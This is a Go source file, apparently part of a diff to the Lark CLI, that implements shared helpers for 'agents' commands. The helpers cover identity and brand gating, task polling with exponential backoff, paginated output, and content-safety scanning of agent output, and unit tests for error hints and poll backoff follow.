|
||||
package agents
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
iagents "github.com/larksuite/cli/internal/agents"
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
"github.com/larksuite/cli/internal/core"
|
||||
"github.com/larksuite/cli/internal/output"
|
||||
)
|
||||
|
||||
// supportedIdentities is the identity whitelist enforced for every agent
|
||||
// command; provider cards advertise (a subset of) the same set.
|
||||
var supportedIdentities = []string{string(core.AsUser), string(core.AsBot)}
|
||||
|
||||
// sleep is the package-level, test-injectable backoff sleep. It blocks for d or
|
||||
// until ctx is done, returning true if the full duration elapsed and false if
|
||||
// ctx was canceled first. Tests swap it for a no-op.
|
||||
var sleep = func(ctx context.Context, d time.Duration) bool {
|
||||
t := time.NewTimer(d)
|
||||
defer t.Stop()
|
||||
select {
|
||||
case <-t.C:
|
||||
return true
|
||||
case <-ctx.Done():
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
// resolveSpec is the fully-offline resolution path: it resolves the effective
|
||||
// identity, enforces the user|bot whitelist, and looks up the AgentSpec
|
||||
// addressed by ref — WITHOUT constructing a client or touching the network. It
|
||||
// is the FIRST step of every verb, so a malformed ref, an unknown scheme /
|
||||
// unknown catalog id, AND a capability gate all surface at exit 2 BEFORE the
|
||||
// config gate — an unconfigured user still gets the precise error, not
|
||||
// not_configured. A real API verb then calls runtimeFor to build the client.
|
||||
func resolveSpec(f *cmdutil.Factory, cmd *cobra.Command, ref, asStr string) (iagents.Provider, *iagents.AgentSpec, string, core.Identity, error) {
|
||||
id := f.ResolveAs(cmd.Context(), cmd, core.Identity(asStr))
|
||||
if err := f.CheckIdentity(id, supportedIdentities); err != nil {
|
||||
return iagents.Provider{}, nil, "", "", err
|
||||
}
|
||||
prov, spec, agentID, err := iagents.LookupSpec(ref)
|
||||
if err != nil {
|
||||
// ParseRef / unknown-scheme / unknown-id errors carry the validation
|
||||
// wording; promote them to a typed validation error (with a recovery hint)
|
||||
// so RunE never returns a bare error and the exit code / subtype are stable.
|
||||
return iagents.Provider{}, nil, "", "", wrapRefResolveError(err)
|
||||
}
|
||||
return prov, spec, agentID, id, nil
|
||||
}
|
||||
|
||||
// runtimeFor builds the identity-pinned Runtime for a verb that actually calls
|
||||
// the remote API. It requires a configured client (not_configured / exit 3 here
|
||||
// is correct for a real API call). agentID is the resolved agent this call
|
||||
// addresses (from the ref), exposed to hooks via rt.AgentID(); params is the
|
||||
// validated business-parameter map (defaults backfilled) exposed via
|
||||
// rt.Params() — pass nil on paths that carry no business params (card's
|
||||
// Describe enrichment).
|
||||
func runtimeFor(f *cmdutil.Factory, id core.Identity, agentID string, params map[string]string) (iagents.Runtime, error) {
|
||||
apiClient, err := f.NewAPIClient()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &cmdRuntime{client: apiClient, as: id, agentID: agentID, params: params}, nil
|
||||
}
|
||||
|
||||
// wrapRefResolveError promotes a ParseRef / provider-resolution error to a
|
||||
// validation typed error (subtype invalid_argument, exit 2) and attaches the
|
||||
// recovery hint keyed to the failure mode: a malformed ref (no ':' / empty
|
||||
// half — matched via the ErrInvalidRef sentinel) teaches the <scheme>:<agent_id>
|
||||
// shape; an unknown scheme points at `agents list` to discover the available
|
||||
// providers. Both hints are copy-pasteable next steps, not just wording.
|
||||
func wrapRefResolveError(err error) error {
|
||||
// LookupSpec's unknown-catalog-id case is ALREADY a typed validation error
|
||||
// carrying a scheme-scoped hint (`agents list <scheme>`); pass it through
|
||||
// instead of flattening it via err.Error() and overwriting that hint with the
|
||||
// generic provider-list one. Only the untyped ParseRef sentinel / unknown-
|
||||
// scheme errors need wrapping.
|
||||
if _, ok := errs.ProblemOf(err); ok {
|
||||
return err
|
||||
}
|
||||
e := errs.NewValidationError(errs.SubtypeInvalidArgument, "%s", err.Error()).WithCause(err)
|
||||
if errors.Is(err, iagents.ErrInvalidRef) {
|
||||
return e.WithHint("agent_ref 形如 <scheme>:<agent_id>,如 example:echo")
|
||||
}
|
||||
return e.WithHint("用 lark-cli agents list 查看可用 provider")
|
||||
}
|
||||
|
||||
// cardHint builds the "check the agent card" hint. The ref is user-echoed
|
||||
// input: when it passes the safeNextRef whitelist the hint carries the
|
||||
// copy-pasteable command; otherwise it degrades to plain guidance without any
|
||||
// interpolated command (a ref containing spaces would make the command
|
||||
// non-copy-pasteable, and the hint is what an AI copies verbatim).
|
||||
func cardHint(ref, what string) string {
|
||||
if safeNextRef(ref) {
|
||||
return fmt.Sprintf("运行 lark-cli agents card %s 查看%s", ref, what)
|
||||
}
|
||||
return fmt.Sprintf("查看该 agent 的能力卡片(agents card 命令)确认%s", what)
|
||||
}
|
||||
|
||||
// emitTask writes a task result: the standard success envelope carrying
|
||||
// meta.next[] hints for AI callers, or — with format=pretty and no --jq —
|
||||
// the key:value human view. Because the agent's messages/artifacts are
|
||||
// untrusted external content, the payload is run through content-safety
|
||||
// scanning before emission on BOTH paths (and the pretty path additionally
|
||||
// ANSI-strips agent text). A --jq expression, when the leaf command registers
|
||||
// one, implies structured JSON and filters stdout.
|
||||
func emitTask(f *cmdutil.Factory, cmd *cobra.Command, task *iagents.AgentTask, next []output.NextAction, format string, notices ...string) error {
|
||||
out := f.IOStreams.Out
|
||||
errOut := f.IOStreams.ErrOut
|
||||
|
||||
scan := output.ScanForSafety(cmd.CommandPath(), task, errOut)
|
||||
if scan.Blocked {
|
||||
return scan.BlockErr
|
||||
}
|
||||
|
||||
// Normalization notices (provider contract defects, §3.2) must be visible on
|
||||
// BOTH surfaces: stderr for humans, envelope _notice for the JSON consumer.
|
||||
var defect string
|
||||
for _, n := range notices {
|
||||
if n != "" {
|
||||
defect = n
|
||||
fmt.Fprintf(errOut, "notice: %s\n", n)
|
||||
}
|
||||
}
|
||||
|
||||
if format == "pretty" && jqExpr(cmd) == "" {
|
||||
if scan.Alert != nil {
|
||||
output.WriteAlertWarning(errOut, scan.Alert)
|
||||
}
|
||||
printTaskPretty(out, task)
|
||||
return nil
|
||||
}
|
||||
|
||||
env := output.Envelope{
|
||||
OK: true,
|
||||
Identity: string(f.ResolvedIdentity),
|
||||
Data: task,
|
||||
Notice: output.GetNotice(),
|
||||
}
|
||||
if defect != "" {
|
||||
if env.Notice == nil {
|
||||
env.Notice = map[string]interface{}{}
|
||||
}
|
||||
env.Notice["provider_defect"] = defect
|
||||
}
|
||||
if len(next) > 0 {
|
||||
// Identity carry follows the CLI-family convention (shortcuts never pin
|
||||
// --as into suggested commands): only when the caller EXPLICITLY passed
|
||||
// --as does the suggestion carry the resolved identity — an explicit
|
||||
// non-default identity would otherwise fall back to the default on
|
||||
// verbatim replay and look up another principal's task store. An
|
||||
// implicit (default/auto) identity stays unpinned: the next command
|
||||
// re-resolves to the same answer in the same environment. Only
|
||||
// agent-subtree commands take --as (auth login does not).
|
||||
carryAsIntoNext(cmd, f, next)
|
||||
env.Meta = &output.Meta{Next: next}
|
||||
}
|
||||
if scan.Alert != nil {
|
||||
env.ContentSafetyAlert = scan.Alert
|
||||
}
|
||||
|
||||
if jq := jqExpr(cmd); jq != "" {
|
||||
if scan.Alert != nil {
|
||||
output.WriteAlertWarning(errOut, scan.Alert)
|
||||
}
|
||||
return output.JqFilter(out, env, jq)
|
||||
}
|
||||
output.PrintJson(out, env)
|
||||
return nil
|
||||
}
|
||||
|
||||
// scanAndEmitData is the shared scan-then-emit path for the read leaves whose
|
||||
// payload now carries untrusted agent-authored text — task list
|
||||
// (TaskSummary.Summary), context list, and context get
|
||||
// (ContextDetail.ActiveTask.Summary). These used to PrintJson directly and so
|
||||
// BYPASSED content-safety; like emitTask they now run output.ScanForSafety on
|
||||
// the payload BEFORE emission on every path: a block returns the typed block
|
||||
// error, a warn attaches the alert to the JSON envelope (and prints a stderr
|
||||
// warning on the pretty / jq paths). data is the Envelope.Data payload (and what
|
||||
// is scanned); meta is an optional *output.Meta (list count, nil for a single
|
||||
// detail); pretty renders the --format pretty human view and is skipped when a
|
||||
// --jq expression forces structured JSON.
|
||||
func scanAndEmitData(f *cmdutil.Factory, cmd *cobra.Command, format string, data any, meta *output.Meta, pretty func(io.Writer)) error {
|
||||
out := f.IOStreams.Out
|
||||
errOut := f.IOStreams.ErrOut
|
||||
|
||||
scan := output.ScanForSafety(cmd.CommandPath(), data, errOut)
|
||||
if scan.Blocked {
|
||||
return scan.BlockErr
|
||||
}
|
||||
|
||||
if format == "pretty" && jqExpr(cmd) == "" {
|
||||
if scan.Alert != nil {
|
||||
output.WriteAlertWarning(errOut, scan.Alert)
|
||||
}
|
||||
pretty(out)
|
||||
return nil
|
||||
}
|
||||
|
||||
env := output.Envelope{
|
||||
OK: true,
|
||||
Identity: string(f.ResolvedIdentity),
|
||||
Data: data,
|
||||
Meta: meta,
|
||||
Notice: output.GetNotice(),
|
||||
}
|
||||
if scan.Alert != nil {
|
||||
env.ContentSafetyAlert = scan.Alert
|
||||
}
|
||||
if jq := jqExpr(cmd); jq != "" {
|
||||
if scan.Alert != nil {
|
||||
output.WriteAlertWarning(errOut, scan.Alert)
|
||||
}
|
||||
return output.JqFilter(out, env, jq)
|
||||
}
|
||||
output.PrintJson(out, env)
|
||||
return nil
|
||||
}
|
||||
|
||||
// jqExpr reads the --jq flag value if the leaf command registered one; absent
|
||||
// otherwise.
|
||||
func jqExpr(cmd *cobra.Command) string {
|
||||
if cmd == nil { // options structs built directly in tests may carry no Cmd
|
||||
return ""
|
||||
}
|
||||
if f := cmd.Flags().Lookup("jq"); f != nil {
|
||||
return f.Value.String()
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// resolvedBrand returns the brand the agent commands filter/gate against: the
|
||||
// logged-in account's Config().Brand when Config resolves and is non-empty,
|
||||
// else BrandFeishu (the offline/unconfigured default, consistent with
|
||||
// core.ParseBrand mapping unknown→feishu). It is nil-safe (a nil Factory or a
|
||||
// nil Config hook yields feishu), so the offline gates hold before config init.
|
||||
func resolvedBrand(f *cmdutil.Factory) core.LarkBrand {
|
||||
if f == nil || f.Config == nil {
|
||||
return core.BrandFeishu
|
||||
}
|
||||
cfg, err := f.Config()
|
||||
if err != nil || cfg == nil || cfg.Brand == "" {
|
||||
return core.BrandFeishu
|
||||
}
|
||||
return cfg.Brand
|
||||
}
|
||||
|
||||
// unavailableForBrandError returns the unavailable_for_brand validation error
|
||||
// (exit 2) — the brand sibling of capabilityError. `what` is the human-facing
|
||||
// capability name (e.g. "task cancel"); an empty `what` is the whole-agent case
|
||||
// ("agent '<ref>' is not available under <brand>"). The hint points at the card
|
||||
// for the current brand (cardHint interpolates ref only when it is whitelisted).
|
||||
func unavailableForBrandError(ref, what string, brand core.LarkBrand) error {
|
||||
var msg string
|
||||
if what == "" {
|
||||
msg = fmt.Sprintf("agent '%s' 在 %s 品牌下不可用", ref, brand)
|
||||
} else {
|
||||
msg = fmt.Sprintf("agent '%s' 的 '%s' 在 %s 品牌下不可用", ref, what, brand)
|
||||
}
|
||||
return errs.NewValidationError(errs.SubtypeUnavailableForBrand, "%s", msg).
|
||||
WithHint("%s", cardHint(ref, "当前品牌支持的能力"))
|
||||
}
|
||||
|
||||
// brandGate is the whole-agent brand visibility gate: a spec whose declared
|
||||
// Brands exclude the resolved brand returns unavailable_for_brand (exit 2,
|
||||
// offline) before any network call. Placed right after the capability/offline
|
||||
// gates in every verb path.
|
||||
func brandGate(f *cmdutil.Factory, spec *iagents.AgentSpec, ref string) error {
|
||||
if brand := resolvedBrand(f); !iagents.SpecAvailableForBrand(spec, brand) {
|
||||
return unavailableForBrandError(ref, "", brand)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// opBrandGate is the per-capability brand gate: a WIRED op whose declared Brands
|
||||
// exclude the resolved brand returns unavailable_for_brand (exit 2, offline).
|
||||
// `what` is the human capability name. It assumes the whole-agent gate (brandGate)
|
||||
// already passed. Core ops (Send/GetTask) normally declare no Brands, so this is
|
||||
// a no-op for them unless a provider scopes them explicitly.
|
||||
func opBrandGate(f *cmdutil.Factory, brands []core.LarkBrand, ref, what string) error {
|
||||
if brand := resolvedBrand(f); !iagents.OpAvailableForBrand(brands, brand) {
|
||||
return unavailableForBrandError(ref, what, brand)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// capabilityError returns the unsupported_capability validation error (exit 2)
|
||||
// used for capability gating: capHuman is the human-facing action (e.g.
|
||||
// "task cancel"), capKey the Card capability key (e.g. task_cancel). The hint
|
||||
// interpolates ref only when it passes the whitelist (cardHint).
|
||||
func capabilityError(ref, capHuman, capKey string) error {
|
||||
return errs.NewValidationError(
|
||||
errs.SubtypeUnsupportedCapability,
|
||||
"agent '%s' 不支持 '%s'(capability %s=false)", ref, capHuman, capKey,
|
||||
).WithHint("%s", cardHint(ref, "支持的能力"))
|
||||
}
|
||||
|
||||
// normalizeTask canonicalizes a provider task the moment it enters the command
|
||||
// layer: IsTerminal is re-derived from State (the single source of truth, so a
|
||||
// provider that mis-fills the flag can never skew watch exit codes or an AI
|
||||
// caller's stop-polling decision), and the input_required question group runs
|
||||
// the central §3.2 normalization (size caps, empty options → absent, bare
|
||||
// prompt → one ordinary free-text question, non-conforming keys → whole-group
|
||||
// degrade). The returned notice — a provider defect worth seeing — must reach
|
||||
// the caller's output surface (emitTask routes it into the JSON envelope
|
||||
// _notice and onto stderr for pretty) instead of being silently smoothed over.
|
||||
// nil-safe.
|
||||
func normalizeTask(t *iagents.AgentTask) (notice string) {
|
||||
if t == nil {
|
||||
return ""
|
||||
}
|
||||
t.IsTerminal = t.State.IsTerminal()
|
||||
return iagents.NormalizeInputRequired(t)
|
||||
}
|
||||
|
||||
// normalizeTaskSummaries derives IsTerminal from State for every summary (same
|
||||
// single-source rule as normalizeTask), returning the slice for chaining.
|
||||
func normalizeTaskSummaries(ts []iagents.TaskSummary) []iagents.TaskSummary {
|
||||
for i := range ts {
|
||||
ts[i].IsTerminal = ts[i].State.IsTerminal()
|
||||
}
|
||||
return ts
|
||||
}
|
||||
|
||||
// pollToStop polls getTask with exponential backoff (1s → 5s cap) until the
|
||||
// task hits a stop condition (terminal, input_required, or auth_required)
|
||||
// or ctx is done. A timeout is not a failure: it returns the most recent
|
||||
// task with a nil error, letting the caller print the current state (exit 0). A
|
||||
// provider GetTask error is surfaced. getTask is a bound closure over the
|
||||
// resolved spec + runtime (spec.GetTask(ctx, rt, id)), so pollToStop stays
|
||||
// provider-neutral and testable.
|
||||
func pollToStop(ctx context.Context, getTask func(context.Context, string) (*iagents.AgentTask, error), taskID string) (*iagents.AgentTask, error) {
|
||||
const (
|
||||
initialDelay = time.Second
|
||||
maxDelay = 5 * time.Second
|
||||
)
|
||||
var last *iagents.AgentTask
|
||||
delay := initialDelay
|
||||
for {
|
||||
task, err := getTask(ctx, taskID)
|
||||
if err != nil {
|
||||
return last, err
|
||||
}
|
||||
last = task
|
||||
if task.State.ShouldStopPolling() {
|
||||
return task, nil
|
||||
}
|
||||
if ctx.Err() != nil {
|
||||
return last, nil //nolint:nilerr // a poll timeout is an observation-window close, not a task failure — return the last task with exit 0
|
||||
}
|
||||
if !sleep(ctx, delay) {
|
||||
// ctx canceled during backoff → observation window closed, not a
|
||||
// task failure.
|
||||
return last, nil
|
||||
}
|
||||
if delay < maxDelay {
|
||||
if delay *= 2; delay > maxDelay {
|
||||
delay = maxDelay
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// semanticExitError maps a wait/watch terminal task to the semantic exit code:
|
||||
// a non-successful terminal state (failed/rejected/canceled) yields a
|
||||
// silent exit-1 signal; any other state (including a successful terminal or a
|
||||
// non-terminal stop like input_required) yields nil. A nil task yields nil.
|
||||
func semanticExitError(task *iagents.AgentTask) error {
|
||||
if task == nil || !task.IsTerminal {
|
||||
return nil
|
||||
}
|
||||
switch task.State {
|
||||
case iagents.StateFailed, iagents.StateRejected, iagents.StateCanceled:
|
||||
return output.ErrBare(1)
|
||||
default:
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
// listMeta builds the list-class meta: count for a non-empty list, nil (no
|
||||
// meta at all) for an empty one. Count is omitempty at the shared envelope
|
||||
// level, so an empty list would otherwise degrade to the ambiguous "meta": {}
|
||||
// third shape; absent-with-documented-rule beats an empty object. (Emitting an
|
||||
// explicit "count": 0 would need the shared Meta.Count to become a pointer —
|
||||
// a repo-wide change deliberately out of this package's blast radius.)
|
||||
func listMeta(n int) *output.Meta {
|
||||
if n == 0 {
|
||||
return nil
|
||||
}
|
||||
return &output.Meta{Count: n}
|
||||
}
|
||||
|
||||
// Pagination flag defaults / bounds, shared by the three paginated list leaves
|
||||
// (task list, context list, list <scheme>).
|
||||
const (
|
||||
defaultPageSize = 20
|
||||
minPageSize = 1
|
||||
maxPageSize = 100
|
||||
)
|
||||
|
||||
// addPageFlags registers the shared --page-size / --page-token flags on a
|
||||
// paginated list leaf. Size defaults to defaultPageSize (a bare list returns the
|
||||
// first page); an empty token asks for the first page.
|
||||
func addPageFlags(cmd *cobra.Command, pageSize *int, pageToken *string) {
|
||||
cmd.Flags().IntVar(pageSize, "page-size", defaultPageSize, "每页条数(1-100)")
|
||||
cmd.Flags().StringVar(pageToken, "page-token", "", "上一页返回的 page_token;留空取第一页")
|
||||
}
|
||||
|
||||
// validatePageSize enforces the [minPageSize,maxPageSize] range as a client-side
|
||||
// invalid_argument validation error (exit 2) before any provider is built, so a
|
||||
// nonsense size never reaches the network and holds under a nil Factory.
|
||||
func validatePageSize(n int) error {
|
||||
if n < minPageSize || n > maxPageSize {
|
||||
return errs.NewValidationError(errs.SubtypeInvalidArgument,
|
||||
"--page-size 须在 %d-%d 之间,收到 %d", minPageSize, maxPageSize, n).
|
||||
WithParam("--page-size").
|
||||
WithHint("改用 %d-%d 之间的每页条数重发", minPageSize, maxPageSize)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// listMetaPage builds the page-aware list meta: count (when >0), has_more,
|
||||
// page_token (the next-page cursor), and the next-page action(s). It preserves
|
||||
// listMeta's "no empty {}" rule — nil is returned ONLY when the page is empty AND
|
||||
// there is no next page AND there is no next action, so an otherwise-absent meta
|
||||
// never degrades to the ambiguous "meta": {} shape.
|
||||
func listMetaPage(count int, info iagents.PageInfo, next []output.NextAction) *output.Meta {
|
||||
if count == 0 && !info.HasMore && len(next) == 0 {
|
||||
return nil
|
||||
}
|
||||
return &output.Meta{
|
||||
Count: count, // omitempty drops 0
|
||||
HasMore: info.HasMore,
|
||||
PageToken: info.NextToken,
|
||||
Next: next,
|
||||
}
|
||||
}
|
||||
|
||||
// carryAsIntoNext mirrors emitTask's identity-carry rule for the paginated list
|
||||
// leaves (which build their own next-actions instead of going through emitTask):
|
||||
// only when the caller EXPLICITLY passed --as does the suggested next-page
|
||||
// command carry the resolved identity, so an explicit non-default identity is not
|
||||
// silently dropped on verbatim replay while an implicit (default/auto) identity
|
||||
// stays unpinned. No-op on a nil cmd or an unchanged --as.
|
||||
func carryAsIntoNext(cmd *cobra.Command, f *cmdutil.Factory, next []output.NextAction) {
|
||||
if cmd == nil || !cmd.Flags().Changed("as") {
|
||||
return
|
||||
}
|
||||
id := string(f.ResolvedIdentity)
|
||||
if id == "" {
|
||||
return
|
||||
}
|
||||
for i := range next {
|
||||
if strings.HasPrefix(next[i].Command, "lark-cli agents ") {
|
||||
next[i].Command += " --as " + id
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// nextPageAction builds the single "下一页" next-action for a paginated list when
|
||||
// a next page exists. base is the fully-formed command up to (but not including)
|
||||
// the pagination flags, e.g. "lark-cli agents task list example:echo"; the caller
|
||||
// is responsible for whitelisting the ref / scheme / context-id interpolated into
|
||||
// base. The cursor is server-controlled and interpolated verbatim into a command
|
||||
// the AI runs, so it must pass the safeNextID whitelist first — a failing cursor
|
||||
// drops the command (the cursor still rides meta.page_token as data, so the caller
|
||||
// can page manually). Returns nil when there is no next page.
|
||||
func nextPageAction(base string, size int, info iagents.PageInfo) []output.NextAction {
|
||||
if !info.HasMore || info.NextToken == "" || !safeNextID(info.NextToken) {
|
||||
return nil
|
||||
}
|
||||
return []output.NextAction{{
|
||||
Label: "下一页",
|
||||
Command: fmt.Sprintf("%s --page-size %d --page-token %s", base, size, info.NextToken),
|
||||
}}
|
||||
}
|
||||
792
cmd/agents/common_test.go
Normal file
792
cmd/agents/common_test.go
Normal file
@@ -0,0 +1,792 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agents
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"io"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
extcs "github.com/larksuite/cli/extension/contentsafety"
|
||||
iagents "github.com/larksuite/cli/internal/agents"
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
"github.com/larksuite/cli/internal/core"
|
||||
"github.com/larksuite/cli/internal/output"
|
||||
)
|
||||
|
||||
// TestCapabilityError_UnsafeRefDegradesHint pins the same whitelist on the
|
||||
// capability-gate hint: an unsafe ref degrades the hint to plain guidance.
|
||||
func TestCapabilityError_UnsafeRefDegradesHint(t *testing.T) {
|
||||
err := capabilityError("example:agt x", "task cancel", iagents.CapTaskCancel)
|
||||
p, ok := errs.ProblemOf(err)
|
||||
if !ok || p.Hint == "" {
|
||||
t.Fatalf("hint should degrade to plain-text guidance rather than be emptied, got %+v", p)
|
||||
}
|
||||
if strings.Contains(p.Hint, "example:agt x") {
|
||||
t.Fatalf("an unsafe ref must not be interpolated into the hint, got %q", p.Hint)
|
||||
}
|
||||
}
|
||||
|
||||
// TestCapabilityError pins the unsupported_capability contract.
|
||||
func TestCapabilityError(t *testing.T) {
|
||||
err := capabilityError("example:agt_xxx", "task cancel", iagents.CapTaskCancel)
|
||||
if err == nil {
|
||||
t.Fatal("should return an error")
|
||||
}
|
||||
if !errs.IsValidation(err) {
|
||||
t.Fatalf("should be a validation error, got %T", err)
|
||||
}
|
||||
p, ok := errs.ProblemOf(err)
|
||||
if !ok || p.Subtype != errs.Subtype("unsupported_capability") {
|
||||
t.Fatalf("subtype should be unsupported_capability, got %+v", p)
|
||||
}
|
||||
if output.ExitCodeOf(err) != output.ExitValidation {
|
||||
t.Fatalf("exit should be %d, got %d", output.ExitValidation, output.ExitCodeOf(err))
|
||||
}
|
||||
}
|
||||
|
||||
// TestSemanticExitError maps terminal task states to the wait/watch exit code.
|
||||
func TestSemanticExitError(t *testing.T) {
|
||||
cases := []struct {
|
||||
state iagents.TaskState
|
||||
wantExit int
|
||||
}{
|
||||
{iagents.StateCompleted, output.ExitOK},
|
||||
{iagents.StateFailed, 1},
|
||||
{iagents.StateRejected, 1},
|
||||
{iagents.StateCanceled, 1},
|
||||
{iagents.StateInputRequired, output.ExitOK}, // non-terminal, not treated as failure
|
||||
{iagents.StateWorking, output.ExitOK},
|
||||
}
|
||||
for _, c := range cases {
|
||||
task := &iagents.AgentTask{State: c.state, IsTerminal: c.state.IsTerminal()}
|
||||
err := semanticExitError(task)
|
||||
if got := output.ExitCodeOf(err); got != c.wantExit {
|
||||
t.Errorf("state=%s exit expected %d got %d (err=%v)", c.state, c.wantExit, got, err)
|
||||
}
|
||||
}
|
||||
// nil task should not panic and is treated as success
|
||||
if err := semanticExitError(nil); err != nil {
|
||||
t.Errorf("nil task should return nil, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
// fakePollProvider drives pollToStop through a scripted state sequence. getTask
|
||||
// is the closure pollToStop takes (spec.GetTask bound to a runtime in
|
||||
// production); calls/err stay observable on the struct after the poll.
|
||||
type fakePollProvider struct {
|
||||
states []iagents.TaskState
|
||||
calls int
|
||||
err error
|
||||
}
|
||||
|
||||
func (f *fakePollProvider) getTask(ctx context.Context, taskID string) (*iagents.AgentTask, error) {
|
||||
if f.err != nil {
|
||||
return nil, f.err
|
||||
}
|
||||
i := f.calls
|
||||
if i >= len(f.states) {
|
||||
i = len(f.states) - 1
|
||||
}
|
||||
f.calls++
|
||||
s := f.states[i]
|
||||
return &iagents.AgentTask{TaskID: taskID, State: s, IsTerminal: s.IsTerminal()}, nil
|
||||
}
|
||||
|
||||
// TestPollToStop_ReachesTerminal stops once a terminal state is observed.
|
||||
func TestPollToStop_ReachesTerminal(t *testing.T) {
|
||||
restore := swapSleep()
|
||||
defer restore()
|
||||
|
||||
p := &fakePollProvider{states: []iagents.TaskState{iagents.StateWorking, iagents.StateWorking, iagents.StateCompleted}}
|
||||
task, err := pollToStop(context.Background(), p.getTask, "chat_1")
|
||||
if err != nil {
|
||||
t.Fatalf("should not error: %v", err)
|
||||
}
|
||||
if task == nil || task.State != iagents.StateCompleted {
|
||||
t.Fatalf("should stop at completed, got %+v", task)
|
||||
}
|
||||
if p.calls < 3 {
|
||||
t.Fatalf("should poll at least 3 times, got %d", p.calls)
|
||||
}
|
||||
}
|
||||
|
||||
// TestPollToStop_StopsOnInputRequired treats input_required as a stop point.
|
||||
func TestPollToStop_StopsOnInputRequired(t *testing.T) {
|
||||
restore := swapSleep()
|
||||
defer restore()
|
||||
|
||||
p := &fakePollProvider{states: []iagents.TaskState{iagents.StateWorking, iagents.StateInputRequired}}
|
||||
task, err := pollToStop(context.Background(), p.getTask, "chat_1")
|
||||
if err != nil {
|
||||
t.Fatalf("should not error: %v", err)
|
||||
}
|
||||
if task.State != iagents.StateInputRequired {
|
||||
t.Fatalf("should stop at input_required, got %s", task.State)
|
||||
}
|
||||
}
|
||||
|
||||
// TestPollToStop_ContextTimeoutNotFailure confirms that timeout returns the
|
||||
// current task with a nil error (exit 0), not a failure.
|
||||
func TestPollToStop_ContextTimeoutNotFailure(t *testing.T) {
|
||||
restore := swapSleep()
|
||||
defer restore()
|
||||
|
||||
ctx, cancel := context.WithCancel(context.Background())
|
||||
cancel() // expire immediately
|
||||
p := &fakePollProvider{states: []iagents.TaskState{iagents.StateWorking}}
|
||||
task, err := pollToStop(ctx, p.getTask, "chat_1")
|
||||
if err != nil {
|
||||
t.Fatalf("timeout should not be treated as failure: %v", err)
|
||||
}
|
||||
if task == nil || task.State != iagents.StateWorking {
|
||||
t.Fatalf("timeout should return the current task, got %+v", task)
|
||||
}
|
||||
}
|
||||
|
||||
// TestPollToStop_GetTaskError surfaces a provider error.
|
||||
func TestPollToStop_GetTaskError(t *testing.T) {
|
||||
restore := swapSleep()
|
||||
defer restore()
|
||||
|
||||
p := &fakePollProvider{states: []iagents.TaskState{iagents.StateWorking}, err: errors.New("boom")}
|
||||
if _, err := pollToStop(context.Background(), p.getTask, "chat_1"); err == nil {
|
||||
t.Fatal("a GetTask error should propagate")
|
||||
}
|
||||
}
|
||||
|
||||
// swapSleep replaces the package sleep with a no-op for fast tests.
|
||||
func swapSleep() func() {
|
||||
orig := sleep
|
||||
sleep = func(context.Context, time.Duration) bool { return true }
|
||||
return func() { sleep = orig }
|
||||
}
|
||||
|
||||
// swapSleepCapture replaces the package sleep with a no-op that records every
|
||||
// backoff duration it was asked to wait, so tests can assert the exponential /
|
||||
// clamp schedule. It always returns true (full duration elapsed).
|
||||
func swapSleepCapture(delays *[]time.Duration) func() {
|
||||
orig := sleep
|
||||
sleep = func(_ context.Context, d time.Duration) bool {
|
||||
*delays = append(*delays, d)
|
||||
return true
|
||||
}
|
||||
return func() { sleep = orig }
|
||||
}
|
||||
|
||||
// swapSleepFalseAt replaces the package sleep with a no-op that returns false
|
||||
// (as if ctx were canceled during backoff) on the falseCall-th invocation
|
||||
// (1-indexed) and true otherwise. Lets tests exercise the sleep-returns-false
|
||||
// branch in isolation without racing a real ctx timeout.
|
||||
func swapSleepFalseAt(falseCall int) func() {
|
||||
orig := sleep
|
||||
n := 0
|
||||
sleep = func(context.Context, time.Duration) bool {
|
||||
n++
|
||||
return n != falseCall
|
||||
}
|
||||
return func() { sleep = orig }
|
||||
}
|
||||
|
||||
// TestPollToStop_ClampsDelayToMax drives >=4 backoff rounds so the exponential
|
||||
// delay overshoots the 5s cap and the clamp branch (line 179) executes. The
|
||||
// captured schedule must never exceed maxDelay and must actually reach it.
|
||||
func TestPollToStop_ClampsDelayToMax(t *testing.T) {
|
||||
var delays []time.Duration
|
||||
restore := swapSleepCapture(&delays)
|
||||
defer restore()
|
||||
|
||||
// 5 Working states then Completed: forces backoff 1s,2s,4s,5s(clamped),5s...
|
||||
p := &fakePollProvider{states: []iagents.TaskState{
|
||||
iagents.StateWorking, iagents.StateWorking, iagents.StateWorking,
|
||||
iagents.StateWorking, iagents.StateWorking, iagents.StateCompleted,
|
||||
}}
|
||||
task, err := pollToStop(context.Background(), p.getTask, "chat_1")
|
||||
if err != nil {
|
||||
t.Fatalf("should not error: %v", err)
|
||||
}
|
||||
if task == nil || task.State != iagents.StateCompleted {
|
||||
t.Fatalf("should stop at completed, got %+v", task)
|
||||
}
|
||||
want := []time.Duration{1 * time.Second, 2 * time.Second, 4 * time.Second, 5 * time.Second, 5 * time.Second}
|
||||
if len(delays) != len(want) {
|
||||
t.Fatalf("backoff count should be %d, got %d (%v)", len(want), len(delays), delays)
|
||||
}
|
||||
for i, d := range delays {
|
||||
if d > 5*time.Second {
|
||||
t.Errorf("backoff #%d=%v exceeds the 5s cap", i, d)
|
||||
}
|
||||
if d != want[i] {
|
||||
t.Errorf("backoff #%d expected %v got %v", i, want[i], d)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
